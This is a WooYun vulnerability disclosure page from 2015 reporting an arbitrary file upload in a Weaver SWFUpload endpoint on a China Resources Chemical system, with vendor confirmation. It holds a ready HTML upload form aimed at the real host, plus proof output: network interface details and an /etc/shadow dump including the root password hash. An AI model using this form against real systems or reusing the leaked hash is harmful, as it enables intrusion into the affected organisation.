当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0129267

漏洞标题：华润化工某重要系统getshell可之内网一日游

相关厂商：华润化工控股有限公司

漏洞作者： 路人甲

提交时间：2015-07-26 22:17

修复时间：2015-09-10 18:40

公开时间：2015-09-10 18:40

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-26： 细节已通知厂商并且等待厂商处理中
2015-07-27： 厂商已经确认，细节仅向厂商公开
2015-08-06： 细节向核心白帽子及相关领域专家公开
2015-08-16： 细节向普通白帽子公开
2015-08-26： 细节向实习白帽子公开
2015-09-10： 细节向公众公开

简要描述：

华润化工某重要系统getshell可之内网一日游

详细说明：

泛微的老洞子了。
http://eip.crcchem.com/tools/SWFUpload/upload.jsp
任意文件上传

<form method='post' action='http://eip.crcchem.com/tools/SWFUpload/upload.jsp'  enctype="multipart/form-data" > 
<input type="file" id="file" name="test" style="height:20px;BORDER: #8F908B 1px solid;"/>
<button type=submit value="getshell">getshell</button> </form>


1.jpg


2.jpg


eth0      Link encap:Ethernet  HWaddr 00:50:56:A3:51:E2  
          inet addr:192.168.100.88  Bcast:192.168.100.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:fea3:51e2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4592364255 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5341551626 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:886403312946 (825.5 GiB)  TX bytes:666926543265 (621.1 GiB)
eth1      Link encap:Ethernet  HWaddr 00:50:56:A3:51:E3  
          inet addr:58.216.225.234  Bcast:58.216.225.239  Mask:255.255.255.248
          inet6 addr: fe80::250:56ff:fea3:51e3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:456752194 errors:0 dropped:0 overruns:0 frame:0
          TX packets:306705887 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:96170825855 (89.5 GiB)  TX bytes:372222664309 (346.6 GiB)
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:37458610 errors:0 dropped:0 overruns:0 frame:0
          TX packets:37458610 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:36666984085 (34.1 GiB)  TX bytes:36666984085 (34.1 GiB)


root:$1$6plBeAIA$8bJWsax5IFZEdmZeWI.2o.:15572:0:99999:7:::
bin:*:15526:0:99999:7:::
daemon:*:15526:0:99999:7:::
adm:*:15526:0:99999:7:::
lp:*:15526:0:99999:7:::
sync:*:15526:0:99999:7:::
shutdown:*:15526:0:99999:7:::
halt:*:15526:0:99999:7:::
mail:*:15526:0:99999:7:::
news:*:15526:0:99999:7:::
uucp:*:15526:0:99999:7:::
operator:*:15526:0:99999:7:::
games:*:15526:0:99999:7:::
gopher:*:15526:0:99999:7:::
ftp:*:15526:0:99999:7:::
nobody:*:15526:0:99999:7:::
nscd:!!:15526:0:99999:7:::
vcsa:!!:15526:0:99999:7:::
pcap:!!:15526:0:99999:7:::
rpc:!!:15526:0:99999:7:::
mailnull:!!:15526:0:99999:7:::
smmsp:!!:15526:0:99999:7:::
sshd:!!:15526:0:99999:7:::
rpcuser:!!:15526:0:99999:7:::
nfsnobody:!!:15526:0:99999:7:::
dbus:!!:15526:0:99999:7:::
avahi:!!:15526:0:99999:7:::
haldaemon:!!:15526:0:99999:7:::
avahi-autoipd:!!:15526:0:99999:7:::
ntp:!!:15526:0:99999:7:::
xfs:!!:15526:0:99999:7:::
gdm:!!:15526:0:99999:7:::
sabayon:!!:15526:0:99999:7:::

漏洞证明：

泛微的老洞子了。
http://eip.crcchem.com/tools/SWFUpload/upload.jsp
任意文件上传

<form method='post' action='http://eip.crcchem.com/tools/SWFUpload/upload.jsp'  enctype="multipart/form-data" > 
<input type="file" id="file" name="test" style="height:20px;BORDER: #8F908B 1px solid;"/>
<button type=submit value="getshell">getshell</button> </form>


1.jpg


2.jpg


eth0      Link encap:Ethernet  HWaddr 00:50:56:A3:51:E2  
          inet addr:192.168.100.88  Bcast:192.168.100.255  Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:fea3:51e2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4592364255 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5341551626 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:886403312946 (825.5 GiB)  TX bytes:666926543265 (621.1 GiB)
eth1      Link encap:Ethernet  HWaddr 00:50:56:A3:51:E3  
          inet addr:58.216.225.234  Bcast:58.216.225.239  Mask:255.255.255.248
          inet6 addr: fe80::250:56ff:fea3:51e3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:456752194 errors:0 dropped:0 overruns:0 frame:0
          TX packets:306705887 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:96170825855 (89.5 GiB)  TX bytes:372222664309 (346.6 GiB)
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:37458610 errors:0 dropped:0 overruns:0 frame:0
          TX packets:37458610 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:36666984085 (34.1 GiB)  TX bytes:36666984085 (34.1 GiB)


root:$1$6plBeAIA$8bJWsax5IFZEdmZeWI.2o.:15572:0:99999:7:::
bin:*:15526:0:99999:7:::
daemon:*:15526:0:99999:7:::
adm:*:15526:0:99999:7:::
lp:*:15526:0:99999:7:::
sync:*:15526:0:99999:7:::
shutdown:*:15526:0:99999:7:::
halt:*:15526:0:99999:7:::
mail:*:15526:0:99999:7:::
news:*:15526:0:99999:7:::
uucp:*:15526:0:99999:7:::
operator:*:15526:0:99999:7:::
games:*:15526:0:99999:7:::
gopher:*:15526:0:99999:7:::
ftp:*:15526:0:99999:7:::
nobody:*:15526:0:99999:7:::
nscd:!!:15526:0:99999:7:::
vcsa:!!:15526:0:99999:7:::
pcap:!!:15526:0:99999:7:::
rpc:!!:15526:0:99999:7:::
mailnull:!!:15526:0:99999:7:::
smmsp:!!:15526:0:99999:7:::
sshd:!!:15526:0:99999:7:::
rpcuser:!!:15526:0:99999:7:::
nfsnobody:!!:15526:0:99999:7:::
dbus:!!:15526:0:99999:7:::
avahi:!!:15526:0:99999:7:::
haldaemon:!!:15526:0:99999:7:::
avahi-autoipd:!!:15526:0:99999:7:::
ntp:!!:15526:0:99999:7:::
xfs:!!:15526:0:99999:7:::
gdm:!!:15526:0:99999:7:::
sabayon:!!:15526:0:99999:7:::

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-07-27 18:38

厂商回复：

感谢提交

最新状态：

暂无